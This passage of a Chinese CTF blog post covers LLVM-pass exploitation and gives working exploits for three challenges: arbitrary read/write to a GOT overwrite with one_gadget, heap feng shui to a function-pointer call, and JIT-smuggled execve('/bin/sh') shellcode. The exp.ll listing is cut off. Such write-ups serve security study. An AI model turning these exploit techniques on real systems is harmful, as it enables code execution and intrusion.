<li>断点打在<code>llvm::Pass::preparePassManager</code>函数,run之后就能在进程空间看到<code>.so</code>部分,进而打断点在so里面。</li>
</ol>
<h1 id="references"><a href="#references" class="headerlink" title="references"></a>references</h1><ul>
<li><a target="_blank" rel="noopener" href="https://www.anquanke.com/post/id/240748">ha1vk</a></li>
<li><a target="_blank" rel="noopener" href="https://blog.csdn.net/qq_39948058/article/details/119938973">jsjsj11123</a></li>
<li><a target="_blank" rel="noopener" href="https://bbs.pediy.com/thread-273119.htm">Ayakaaa</a></li>
<li><a target="_blank" rel="noopener" href="https://bbs.pediy.com/thread-273229.htm">Ayakaaa</a></li>
</ul>
<h1 id="cases"><a href="#cases" class="headerlink" title="cases"></a>cases</h1><h2 id="redhat2021-simpleVM"><a href="#redhat2021-simpleVM" class="headerlink" title="redhat2021_simpleVM"></a>redhat2021_simpleVM</h2><h3 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h3><p>store分支有任意地址写。<br><img src="/2022/08/03/llvm-pwn/1.png" alt="store"></p>
<p>load分支有任意读。<br><img src="/2022/08/03/llvm-pwn/2.png" alt="load"></p>
<p>add, min分支做加减运算。<br><img src="/2022/08/03/llvm-pwn/3.png" alt="add"><br><img src="/2022/08/03/llvm-pwn/4.png" alt="min"></p>
<h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><p>利用任意读从got表读一个libc地址,然后算偏移改成one_gadget再写入free函数got表。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">// clang -emit-llvm -c exp.c -o exp.bc</span><br><span class="line">// clang -emit-llvm -S exp.c -o exp.ll</span><br><span class="line">// opt-8 -load ./VMPass.so -VMPass ./exp.ll</span><br><span class="line">void pop(int a);</span><br><span class="line">void push(int a);</span><br><span class="line">void store(int a);</span><br><span class="line">void load(int a);</span><br><span class="line">void add(int a, int b);</span><br><span class="line">void min(int a, int b);</span><br><span class="line"></span><br><span class="line">void o0o0o0o0() {</span><br><span class="line"> add(1, 0x77e100);</span><br><span class="line"> load(1);</span><br><span class="line"> add(2, 0x10a45c - 0x979c0);</span><br><span class="line"> store(1);</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="ciscn2021-satool"><a href="#ciscn2021-satool" class="headerlink" title="ciscn2021_satool"></a>ciscn2021_satool</h2><h3 id="reverse-1"><a href="#reverse-1" class="headerlink" title="reverse"></a>reverse</h3><p>stealkey分支会把申请的堆指针放在全局变量上。<br><img src="/2022/08/03/llvm-pwn/5.png" alt="stealkey"></p>
<p>fakekey分支会往保存的指针写内容。<br><img src="/2022/08/03/llvm-pwn/6.png" alt="fakekey"></p>
<p>run分支甚至直接以<code>heap</code>指针存放的内容作为函数指针进行调用。<br><img src="/2022/08/03/llvm-pwn/7.png" alt="run"></p>
<p>save分支申请固定大小0x18的堆,然后只写fd, bk这两部分共0x10字节。<br><img src="/2022/08/03/llvm-pwn/8.png" alt="save"></p>
<h3 id="exp-1"><a href="#exp-1" class="headerlink" title="exp"></a>exp</h3><p>利用save功能调整堆风水,然后partial_write留下之前unsorted_bin当中留存的libc地址,调整偏移为one_gadget,然后利用run功能调用。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">#include <stdio.h></span><br><span class="line">void run() {};</span><br><span class="line">void save(char *a, char *b) {};</span><br><span class="line">void fakekey(int a) {};</span><br><span class="line">void stealkey();</span><br><span class="line"></span><br><span class="line">void B4ckDo0r()</span><br><span class="line">{</span><br><span class="line"> save("aaaa", "bbbb");</span><br><span class="line"> save("aaaa", "bbbb");</span><br><span class="line"> save("aaaa", "bbbb");</span><br><span class="line"> save("aaaa", "bbbb");</span><br><span class="line"> save("aaaa", "bbbb");</span><br><span class="line"> save("aaaa", "bbbb");</span><br><span class="line"> save("aaaa", "bbbb");</span><br><span class="line"> save("\x00", "bbbb");</span><br><span class="line"> stealkey();</span><br><span class="line"> fakekey(0x4f432 - 0x3ebcb0);</span><br><span class="line"> run();</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="ciscn2022-satool"><a href="#ciscn2022-satool" class="headerlink" title="ciscn2022_satool"></a>ciscn2022_satool</h2><h3 id="reverse-2"><a href="#reverse-2" class="headerlink" title="reverse"></a>reverse</h3><p>类似一种JIT的技术,用<code>mprotect</code>申请一块可执行内存,<code>handle</code>将函数用户的输入转译成二进制代码,然后在<code>CallCode</code>函数中运行。<br><img src="/2022/08/03/llvm-pwn/9.png" alt="JIT"><br><img src="/2022/08/03/llvm-pwn/10.png" alt="CallCode"></p>
<p>将字符串形式的指令转成对应的二进制汇编指令,支持mov, ret, inc, dec, add, sub指令。<br><img src="/2022/08/03/llvm-pwn/11.png" alt="writeMovImm64"><br><img src="/2022/08/03/llvm-pwn/12.png" alt="writeRet"><br><img src="/2022/08/03/llvm-pwn/13.png" alt="writeInc"><br><img src="/2022/08/03/llvm-pwn/14.png" alt="writeOpReg"></p>
<p>漏洞点:JIT的解析终点定为0xff0处,但实际上缓冲区的长度是0x1000,执行的时候也能超出0xff0,并且每次执行的JIT缓冲区只会覆盖不会清零。<br><img src="/2022/08/03/llvm-pwn/15.png" alt="vuln"></p>
<h3 id="exp-2"><a href="#exp-2" class="headerlink" title="exp"></a>exp</h3><p>攻击思路:</p>
<ol>
<li>第一次JIT的时候,做好布局并在0xfee处写一条mov指令,这样0xff0处的8字节可控,写成一个短跳指令来劫持控制流。</li>
<li>第二次JIT的时候,利用mov指令的8字节长度,提前布局好要执行的指令,以jmp指令结尾来实现分段劫持和执行目标指令。</li>
<li>第二次JIT末尾短一些,使其能够运行到0xff0处第一次JIT布局的jmp指令。</li>
</ol>
<p>exp.py<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line"></span><br><span class="line">def func(f, name, datas, count, padding):</span><br><span class="line"> f.write('define dso_local i64 @' + name + '(i64 %0) local_unnamed_addr #0 {\n')</span><br><span class="line"> for i in range(len(datas)):</span><br><span class="line"> if i == 0:</span><br><span class="line"> f.write(f' %{i+2} = add nsw i64 %0, {datas[len(datas)-1]}\n')</span><br><span class="line"> else:</span><br><span class="line"> f.write(f' %{i+2} = add nsw i64 %{i+1}, {datas[len(datas)-1-i]}\n')</span><br><span class="line"> for i in range(len(datas), count):</span><br><span class="line"> f.write(f' %{i+2} = add nsw i64 %{i+1}, 20000000000000\n')</span><br><span class="line"> for i in range(count, count + padding):</span><br><span class="line"> f.write(f' %{i+2} = add nsw i64 %{i+1}, 1\n')</span><br><span class="line"> f.write(f' ret i64 %{count+padding+1}\n')</span><br><span class="line"> f.write('}\n\n')</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line"> f = open('exp.ll', 'w')</span><br><span class="line"> payload = [u64((asm('nop') * 2 + b'\xeb\x8b').ljust(8, b'\x00'))]</span><br><span class="line"> func(f, 'pwn1', payload, 313, 4)</span><br><span class="line"> instructions = [</span><br><span class="line"> 'xor rax, rax',</span><br><span class="line"> 'add eax, 0x68732f',</span><br><span class="line"> 'shl rax, 32',</span><br><span class="line"> 'add rax, 0x6e69622f',</span><br><span class="line"> 'push rax\n mov rdi, rsp',</span><br><span class="line"> 'xor rsi, rsi\n xor rdx, rdx',</span><br><span class="line"> 'xor rax, rax',</span><br><span class="line"> 'mov eax, 59',</span><br><span class="line"> 'syscall',</span><br><span class="line"> ]</span><br><span class="line"> payload = []</span><br><span class="line"> for instruction in instructions:</span><br><span class="line"> payload.append(u64(asm(instruction).ljust(6, b'\x90') + b'\xeb\x05'))</span><br><span class="line"> func(f, 'pwn2', payload, 313, 1)</span><br><span class="line"> f.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> main()</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<p>exp.ll<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br></pre></td><td class="code"><pre><span class="line">define dso_local i64 @pwn1(i64 %0) local_unnamed_addr #0 {</span><br><span class="line"> %2 = add nsw i64 %0, 2347470992</span><br><span class="line"> %3 = add nsw i64 %2, 20000000000000</span><br><span class="line"> %4 = add nsw i64 %3, 20000000000000</span><br><span class="line"> %5 = add nsw i64 %4, 20000000000000</span><br><span class="line"> %6 = add nsw i64 %5, 20000000000000</span><br><span class="line"> %7 = add nsw i64 %6, 20000000000000</span><br><span class="line"> %8 = add nsw i64 %7, 20000000000000</span><br><span class="line"> %9 = add nsw i64 %8, 20000000000000</span><br><span class="line"> %10 = add nsw i64 %9, 20000000000000</span><br><span class="line"> %11 = add nsw i64 %10, 20000000000000</span><br><span class="line"> %12 = add nsw i64 %11, 20000000000000</span><br><span class="line"> %13 = add nsw i64 %12, 20000000000000</span><br><span class="line"> %14 = add nsw i64 %13, 20000000000000</span><br><span class="line"> %15 = add nsw i64 %14, 20000000000000</span><br><span class="line"> %16 = add nsw i64 %15, 20000000000000</span><br><span class="line"> %17 = add nsw i64 %16, 20000000000000</span><br><span class="line"> %18 = add nsw i64 %17, 20000000000000</span><br><span class="line"> %19 = add nsw i64 %18, 20000000000000</span><br><span class="line"> %20 = add nsw i64 %19, 20000000000000</span><br><span class="line"> %21 = add nsw i64 %20, 20000000000000</span><br><span class="line"> %22 = add nsw i64 %21, 20000000000000</span><br><span class="line"> %23 = add nsw i64 %22, 20000000000000</span><br><span class="line"> %24 = add nsw i64 %23, 20000000000000</span><br><span class="line"> %25 = add nsw i64 %24, 20000000000000</span><br><span class="line"> %26 = add nsw i64 %25, 20000000000000</span><br><span class="line"> %27 = add nsw i64 %26, 20000000000000</span><br><span class="line"> %28 = add nsw i64 %27, 20000000000000</span><br><span class="line"> %29 = add nsw i64 %28, 20000000000000</span><br><span class="line"> %30 = add nsw i64 %29, 20000000000000</span><br><span class="line"> %31 = add nsw i64 %30, 20000000000000</span><br><span class="line"> %32 = add nsw i64 %31, 20000000000000</span><br><span class="line"> %33 = add nsw i64 %32, 20000000000000</span><br><span class="line"> %34 = add nsw i64 %33, 20000000000000</span><br><span class="line"> %35 = add nsw i64 %34, 20000000000000</span><br><span class="line"> %36 = add nsw i64 %35, 20000000000000</span><br><span class="line"> %37 = add nsw i64 %36, 20000000000000</span><br><span class="line"> %38 = add nsw i64 %37, 20000000000000</span><br><span class="line"> %39 = add nsw i64 %38, 20000000000000</span><br><span class="line"> %40 = add nsw i64 %39, 20000000000000</span><br><span class="line"> %41 = add nsw i64 %40, 20000000000000</span><br><span class="line"> %42 = add nsw i64 %41, 20000000000000</span><br><span class="line"> %43 = add nsw i64 %42, 20000000000000</span><br><span class="line"> %44 = add nsw i64 %43, 20000000000000</span><br><span class="line"> %45 = add nsw i64 %44, 20000000000000</span><br><span class="line"> %46 = add nsw i64 %45, 20000000000000</span><br><span class="line"> %47 = add nsw i64 %46, 20000000000000</span><br><span class="line"> %48 = add nsw i64 %47, 20000000000000</span><br><span class="line"> %49 = add nsw i64 %48, 20000000000000</span><br><span class="line"> %50 = add nsw i64 %49, 20000000000000</span><br><span class="line"> %51 = add nsw i64 %50, 20000000000000</span><br><span class="line"> %52 = add nsw i64 %51, 20000000000000</span><br><span class="line"> %53 = add nsw i64 %52, 20000000000000</span><br><span class="line"> %54 = add nsw i64 %53, 20000000000000</span><br><span class="line"> %55 = add nsw i64 %54, 20000000000000</span><br><span class="line"> %56 = add nsw i64 %55, 20000000000000</span><br><span class="line"> %57 = add nsw i64 %56, 20000000000000</span><br><span class="line"> %58 = add nsw i64 %57, 20000000000000</span><br><span class="line"> %59 = add nsw i64 %58, 20000000000000</span><br><span class="line"> %60 = add nsw i64 %59, 20000000000000</span><br><span class="line"> %61 = add nsw i64 %60, 20000000000000</span><br><span class="line"> %62 = add nsw i64 %61, 20000000000000</span><br><span class="line"> %63 = add nsw i64 %62, 20000000000000</span><br><span class="line"> %64 = add nsw i64 %63, 20000000000000</span><br><span class="line"> %65 = add nsw i64 %64, 20000000000000</span><br><span class="line"> %66 = add nsw i64 %65, 20000000000000</span><br><span class="line"> %67 = add nsw i64 %66, 20000000000000</span><br><span class="line"> %68 = add nsw i64 %67, 20000000000000</span><br><span class="line"> %69 = add nsw i64 %68, 20000000000000</span><br><span class="line"> %70 = add nsw i64 %69, 20000000000000</span><br><span class="line"> %71 = add nsw i64 %70, 20000000000000</span><br><span class="line"> %72 = add nsw i64 %71, 20000000000000</span><br><span class="line"> %73 = add nsw i64 %72, 20000000000000</span><br><span class="line"> %74 = add nsw i64 %73, 20000000000000</span><br><span class="line"> %75 = add nsw i64 %74, 20000000000000</span><br><span class="line"> %76 = add nsw i64 %75, 20000000000000</span><br><span class="line"> %77 = add nsw i64 %76, 20000000000000</span><br><span class="line"> %78 = add nsw i64 %77, 20000000000000</span><br><span class="line"> %79 = add nsw i64 %78, 20000000000000</span><br><span class="line"> %80 = add nsw i64 %79, 20000000000000</span><br><span class="line"> %81 = add nsw i64 %80, 20000000000000</span><br><span class="line"> %82 = add nsw i64 %81, 20000000000000</span><br><span class="line"> %83 = add nsw i64 %82, 20000000000000</span><br><span class="line"> %84 = add nsw i64 %83, 20000000000000</span><br><span class="line"> %85 = add nsw i64 %84, 20000000000000</span><br><span class="line"> %86 = add nsw i64 %85, 20000000000000</span><br><span class="line"> %87 = add nsw i64 %86, 20000000000000</span><br><span class="line"> %88 = add nsw i64 %87, 20000000000000</span><br><span class="line"> %89 = add nsw i64 %88, 20000000000000</span><br><span class="line"> %90 = add nsw i64 %89, 20000000000000</span><br><span class="line"> %91 = add nsw i64 %90, 20000000000000</span><br><span class="line"> %92 = add nsw i64 %91, 20000000000000</span><br><span class="line"> %93 = add nsw i64 %92, 20000000000000</span><br><span class="line"> %94 = add nsw i64 %93, 20000000000000</span><br><span class="line"> %95 = add nsw i64 %94, 20000000000000</span><br><span class="line"> %96 = add nsw i64 %95, 20000000000000</span><br><span class="line"> %97 = add nsw i64 %96, 20000000000000</span><br><span 